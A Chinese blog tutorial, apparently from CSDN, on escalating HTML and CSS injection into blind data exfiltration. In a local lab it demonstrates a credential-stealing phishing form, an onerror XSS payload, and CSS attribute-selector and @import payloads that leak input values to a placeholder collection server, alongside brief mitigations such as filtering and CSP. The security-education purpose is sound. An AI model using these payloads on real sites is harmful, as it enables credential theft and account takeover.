从CSS注入到渗透未知网页

最新推荐文章于 2024-08-23 22:53:31 发布
最新推荐文章于 2024-08-23 22:53:31 发布
阅读量512 收藏 4
点赞数 2
文章标签： css web安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_83799022/article/details/141463891
版权

简介

​ 这篇文章中，分享一个技巧。通过CSS注入盲打用户前端页面敏感数据

​ 需要的前提： 存在CSS注入漏洞的环境

​ 理论最高危害：1 click用户接管

环境记录

采取docker-compose 部署

  • 部署nginx-docker
mkdir nginx_test
cd nginx_test
touch docker-compose.yml
mkdir -p nginx/conf.d
touch nginx/conf.d/default.conf
  • docker-compose.yml
version: '3'
services:
  nginx:
    image: nginx:latest
    ports:
      - "80:80"
    volumes:
      - ./nginx/conf.d:/etc/nginx/conf.d
      - ./html:/usr/share/nginx/html
  • nginx/conf.d default.conf
server {
    listen 80;
    server_name localhost;

    location / {
        root /usr/share/nginx/html;
        index index.html index.htm;
    }
}
  • nginx_test 目录
mkdir html
html/index.html

<h1>Hello, Docker Compose with Nginx!</h1>
  • docker 启动
docker-compose up -d

从html注入开始

HTML注入攻击是一种网络攻击，攻击者将恶意HTML代码注入到Web应用程序中，操控页面的显示和行为。这种攻击通常用来进行钓鱼、会话劫持或跨站脚本（XSS）攻击。

一个demo

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>HTML Injection Vulnerability Example</title>
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        .container {
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
            border: 1px solid #ccc;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
        }
        .result {
            margin-top: 20px;
            padding: 10px;
            border: 1px solid #ccc;
            background-color: #f9f9f9;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>HTML Injection Vulnerability Example</h1>
        <form id="htmlForm">
            <label for="htmlInput">Enter your HTML:</label><br>
            <textarea id="htmlInput" name="htmlInput" rows="10" cols="50"></textarea><br><br>
            <button type="submit">Submit</button>
        </form>
        <div class="result" id="result">
            <p>This is a sample text to demonstrate HTML injection.</p>
        </div>
    </div>

    <script>
        document.getElementById('htmlForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const htmlInput = document.getElementById('htmlInput').value;
            document.getElementById('result').innerHTML = htmlInput;
        });
    </script>
</body>
</html>

注入恶意HTML

<h2>Injected Heading</h2>
<p>This is an injected paragraph.</p>

点击Submit按钮即可

钓鱼攻击

注入一个伪造的登录表单，诱骗用户输入敏感信息：

<form action="http://127.0.0.1/steal_credentials" method="POST">
    <label for="username">Username:</label><br>
    <input type="text" id="username" name="username"><br>
    <label for="password">Password:</label><br>
    <input type="password" id="password" name="password"><br><br>
    <button type="submit">Login</button>
</form>

xss攻击

<img src=1 href=1 onerror="javascript:alert(1)"></img>

防护措施

这部分简单概述

  • 输入过滤
document.getElementById('htmlForm').addEventListener('submit', function(e) {
    e.preventDefault();
    let htmlInput = document.getElementById('htmlInput').value;

    htmlInput = htmlInput.replace(/</g, "<").replace(/>/g, ">");

    document.getElementById('result').innerHTML = htmlInput;
});
  • 纯文本输入，前端不解析
document.getElementById('htmlForm').addEventListener('submit', function(e) {
    e.preventDefault();
    const htmlInput = document.getElementById('htmlInput').value;

    const textNode = document.createTextNode(htmlInput);
    const resultDiv = document.getElementById('result');
    resultDiv.innerHTML = '';
    resultDiv.appendChild(textNode);
});
  • 使用安全库和框架
  • CSP策略消减漏洞危害Content-Security-Policy: default-src 'self';

CSS注入

靶场页面

一个简单的demo，允许用户输入CSS代码，并将其应用于页面。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSS Injection Vulnerability Example</title>
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        .container {
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
            border: 1px solid #ccc;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
        }
        .result {
            margin-top: 20px;
            padding: 10px;
            border: 1px solid #ccc;
            background-color: #f9f9f9;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>CSS Injection Vulnerability Example</h1>
        <form id="cssForm">
            <label for="cssInput">Enter your CSS:</label><br>
            <textarea id="cssInput" name="cssInput" rows="10" cols="50"></textarea><br><br>
            <button type="submit">Apply CSS</button>
        </form>
        <div class="result" id="result">
            <p>This is a sample text to demonstrate CSS injection.</p>
            <p>Modify the CSS to change the appearance of this text.</p>
        </div>
    </div>

    <script>
        document.getElementById('cssForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const cssInput = document.getElementById('cssInput').value;
            const styleElement = document.createElement('style');
            styleElement.textContent = cssInput;
            document.head.appendChild(styleElement);
        });
    </script>
</body>
</html>
  • 输入简单的CSS代码，如p { color: red; }，然后点击“Apply CSS”，观察页面样式的变化

防范措施(概述)

  • 输入过滤
    • 对用户输入的CSS代码进行严格的检查，避免注入恶意代码。
    • 只允许安全的CSS属性和值。

  • CSP策略同样有效
  • 用户输入不作为css格式解析

从CSS注入到页面数据外带(正文)

相比于传统的html注入，CSS注入通常是指通过注入恶意CSS代码来操纵页面样式，而不是直接执行JavaScript。想对于危害较低
一般需要结合其他漏洞进行组合利用

body {
    background-image: url('javascript:alert("CSS Injection")');
}

利用页面中未过滤的用户输入，通过注入恶意CSS代码，操控页面样式或进行间接攻击

  • 需要注意的是，本文只讨论只允许CSS样式注入从而带来的安全问题，同样适用于当找到一个html注入漏洞，但是由于网站CSP防护或者存在DOMPurify等防护机制，无法通过漏洞执行js的情况

基础知识

利用css变量触发请求

这里要注意的是：如果我们想窃取受害者敏感数据，那么需要向外部发起网络请求从而数据外带

  • 举一个例子(当输入的值等于"password"时，则通过此种方式发起http请求从而达到数据外带的目的)
<!DOCTYPE html>
<html lang="en">
<input value=password>
<style>
input[value="password"] {
    background: url(/collectData?value=password);
}
/* 如果不，则设置背景为百度 */

input {
   background:url('https://www.baidu.com/img/doodlegaokaokaohou_5b0f886d182bfd1761854cb4dfa72fa8.gif');
}
</style>
</html>

css的一些语法(属性选择器)

  • 存在属性选择器
a[target] {
    color: orange;
}
  • 值等于选择器
a[target="_blank"] {
    color: pink;
}
  • 值包含选择器
a[title~="example"] {
    color: purple;
}
  • 值以指定字符开头选择器
a[href^="https"] {
    color: cyan;
}
  • 值以指定字符结尾选择器
a[href$=".pdf"] {
    color: brown;
}
  • 值包含子串选择器
a[href*="example"] {
    color: teal;
}

插入一个demo，方便理解

<style>
input[value^="a"] {
    color:red;
}
input[value$="f"] {
color:green;
}
</style>
<input value=abc>
<input value=def>

使用属性选择器提取数据

  • 当前，这就十分好理解了，定义了一个名为--starts-with-a的变量，并将该变量分配给输入的背景图像
<style>
input[value^="a"] {
    --starts-with-a:url(/startsWithA);
}
/* 如果没有a开头，则none不会发送请求 */

input{
    background: var(--starts-with-a,none);
}
</style>
<input value=abc>
<input value=def>

  • 截至到现在，还有一些限制，
<style>
input[value^="a"] {
    --starts-with-a:url(/startsWithA);
}
/* 如果没有a开头，则none不会发送请求 */

input{
    background: var(--starts-with-a,none);
}
</style>
<input type=hidden value=abc>
<input value=def>

比如当input设置为hidden属性时，则无法找到元素进而发起数据外带

css的一些语法(属性选择器)

继续挖掘一些css的语法

  • has选择器

:has() 选择器是CSS Selectors Level 4 中的一个提案，用于选择包含特定后代元素的父元素。它的语法形式为 :has(selector)，其中 selector 是一个CSS选择器，表示要匹配的后代元素。

  • 继续还是上一个例子
<style>
html:has(input[value^="a"]) {
    --starts-with-a:url(/startsWithA);
}
/* 如果没有a开头，则none不会发送请求 */

input{
    background: var(--starts-with-a,none);
}
</style>
<html>
<input type=hidden value=abc>
<input value=def>
</html>

  • 注意，这块我在input加了父html节点，因为has是需要父亲找子节点的，实际中的网站我们关注的数据几乎一定会有父节点
  • 多说一句：has选择器是需要浏览器进行支持的，可能较老的浏览器无法支持，本文章才用的浏览器版本为

在开发中，可以用Polyfill库进行代替(和文章中的安全关系较弱，只是多说一句)

  • not选择器

在CSS中，:not() 选择器允许你选择除了指定选择器之外的所有元素。它的语法形式为 :not(selector)，其中 selector 是一个CSS选择器，表示不希望匹配的元素，其实就是和has相反

  • 比如上个例子中，只取abc 不取 def则
<style>
html:has(input[value^="a"]):not(input[name="def"]) {
    --starts-with-a:url(/startsWithA);
}
/* 如果没有a开头，则none不会发送请求 */

input{
    background: var(--starts-with-a,none);
}
</style>
<html>
<input type=hidden value=abc>
<input value=def>
</html>

脚本开发&工具部署

  • 正如sql注入中的布尔盲注，需要写一个脚本，笔者感觉和sql注入盲注类似，又或者ssrf盲注的思想
  • @import css语法

在CSS中，@import 规则用于引入外部样式表文件，使得可以将一个CSS文件嵌入到另一个CSS文件中。这种方式可以帮助组织和管理样式表，使得代码结构更加清晰和模块化。

有了css的import，那么我们就可以写脚本进行数据提取了，这部分参考garethheyes大佬写的工具https://github.com/hackvertor/blind-css-exfiltration

  • 环境部署
node css-exfiltrator-server.js

  • 一个demo
<div id="academyLabHeader">
    <section class='academyLabBanner'>
        <div class=container>
            <div class=logo></div>
                <div class=title-container>
                    <h2>Access control unprotected admin functionality</h2>
                    <a class=link-back href='https://portswigger.net'>
                        Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                        <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                            <g>
                                <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                            </g>
                        </svg>
                    </a>
                </div>
                <div class='widgetcontainer-lab-status is-notsolved'>
                    <span>LAB</span>
                    <p>Not solved</p>
                    <span class=lab-status-icon></span>
                </div>
            </div>
        </div>
    </section>
</div>
<div theme="">
    <section class="maincontainer">
        <div class="container is-page">
            <header class="navigation-header">
                <section class="top-links">
                    <a href=/>Home</a><p>|</p>
                    <a href="/my-account">My account</a><p>|</p>
                </section>
            </header>
            <header class="notification-header">
            </header>
            <section>
                <h1>Users</h1>
                <div>
                    <span>wiener - </span>
                    <a href="/administrator-panel/delete?username=wiener">Delete</a>
                </div>
                <div>
                    <span>carlos - </span>
                    <a href="/administrator-panel/delete?username=carlos">Delete</a>
                </div>
            </section>
            <br>
            <hr>
        </div>
    </section>
    <div class="footer-wrapper">
    </div>

<style>
    @import 'https://xxxxx/blind-css-exfiltration/start';    
</style>

写在最后

​ 仅代表一些css注入的思想，实际攻击的话外带的用户的敏感页面数据整体还是比较难的。需要一个特定的场景，万一就有一个弱auth-token会明文写道前端页面呢？这样危害则为1 click用户接管

网络安全工程师老王
关注
  • 2
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HTML+CSS网页设计与布局从入门到精通
03-18
《HTML+CSS网页设计与布局从入门到精通》紧密围绕网页设计师在制作网页过程中的实际需要和应该掌握的技术，全面介绍了使用HTML和CSS进行网页设计和制作的各方面内容和技巧。 《HTML+CSS网页设计与布局从入门到精通》...
HTML+CSS+DIV网页设计.zip
12-14
基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于...
HTML CSS JavaScript 网页制作从入门到精通
09-11
全书共分为19章和4个附录，重点介绍使用HTML进行网页制作的方方面面，同时讲解了目前流行的Web标准与CSS网页布局实例，以及基于JavaScript语言的网页特效制作，还介绍了新的HTML5和CSS3知识。为了便于读者学习，附录...
HTML+css网页.zip
12-14
基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于...
html-css练习网页.zip
12-14
基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于html+css+js进行网页设计 课程设计 毕业设计 供参考 源码+说明 基于...
CSS——弹性盒（flex）
Fan_web的博客
08-16 1513
本文主要跟大家分享了弹性盒的内容，同时扩充了CSS中的部分知识：像素、视口、移动端、完美视口、vw单位以及适配、响应式布局中的媒体查询等等。下一节将开始分享关于JavaScript的初级学习内容。
CSS+JS实现一个鼠标移动的高亮边框效果
流绪@微梦
08-19 578
我们再在 .card::before 加上一个 transform属性，同时在 .card 上加上 overflow: hidden属性，观察浏览器，神奇的效果出现了！想要实现高亮的效果，我们还需要在 .card 和 .inner 之间再插入一层，这一层是我们实现高亮的关键！假如图中的小圆圈为鼠标位置，当鼠标移动到此位置时，只需要计算把每张卡片中间层的中心偏移到鼠标的位置即可。在Windows系统里有一个很棒的细节效果，元素的渐变高亮边框是可以感知鼠标的，边框的高亮部分会跟随鼠标的移动而移动。
只用一个 HTML 元素可以写出多少形状？——伪元素篇（下）
Conan9912345的博客
08-21 709
您有没有想过一个问题，如果我们只用一个 div 元素，一共可以写出多少种形状呢？
CSS 中处理文本溢出并隐藏它
m0_64036296的博客
08-23 159
要在 CSS 中处理文本溢出并隐藏它，通常会用到以下几个属性。我们可以通过对每个属性的作用进行详细说明，并提供一个全面的使用案例。
响应式 Web 设计：纯 HTML 和 CSS 的实现技巧
windowshht的博客
08-22 684
响应式 Web 设计是现代网页开发的重要组成部分，能够为用户提供一致的体验。通过使用纯 HTML 和 CSS，您可以实现灵活的布局、适应不同设备的图像和样式。本文介绍的技巧和示例将帮助您在项目中有效地应用响应式设计。希望您能在实践中不断探索和优化，创造出更好的用户体验。如需深入了解响应式设计的更多内容，建议参考相关书籍和在线资源，持续学习和实践。
在scss中如何使用hover(Vue项目)
Rverdoser的博客
08-19 252
/ hover时的背景颜色。属性来启用SCSS。然后可以在样式中定义hover效果。在Vue项目中使用SCSS时，可以在样式标签中添加。属性用于使颜色变化有一个平滑的过渡效果。元素上时，它的背景颜色会变成红色。在这个例子中，当鼠标悬停在。
html基础标签
做一位与众不同的吗喽
08-23 175
HTML（HyperText Markup Language）是构建网页和网页应用的标准标记语言。它由一系列的元素（elements）组成，这些元素通过标签（tags）来定义。
css加载中动画
程序员
08-19 262
css加载中动画
不同分辨率下vue页面的高度自适应
weixin_72439307的博客
08-19 241
html高度自适应
Web前端 - HTML、CSS
qq_57620101的博客
08-19 317
(Cascading Style Sheets，层叠样式表），是一种用来为结构化文档（如 HTML 文档或 XML 应用）添加样式（字体、间距和颜色等）的计算机语言，Live Preview: 右键show Preview 实时预览效果。所有现代的 HTML 页面都可以使用 JavaScript。Live Preview: HTML AI助手。JavaScript 是 Web 的编程语言。我们可以大大提升网页开发的工作效率！文件扩展名为 .css。
CSS 的文字平滑属性font-smooth
最新发布
读心悦
08-23 205
此外，还有一些其他的方法可以间接地改善文字的平滑度和可读性，比如选择合适的字体、调整字体大小、使用字体加载策略（如Font Loading API）来优化字体文件的加载和渲染等。这样的属性，但可以通过一些间接的方法和属性来控制文字的平滑度和可读性。在实际应用中，应该根据具体需求和目标受众来选择合适的方法，并考虑到跨浏览器兼容性和性能优化的问题。是一个非标准的属性，它的支持可能因浏览器而异，并且在未来的浏览器版本中可能会被弃用或更改。属性，这是一个非标准的CSS属性，用于控制字体渲染的平滑度。
html css vue构建简单的聊天窗口
专注Java领域与微服务架构，热爱人工智能与深度学习
08-23 93
/
Vue3+Vite安装配置tailwindCss
不起眼小菜菜的博客
08-19 270
教程很详细，直接上步骤……
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值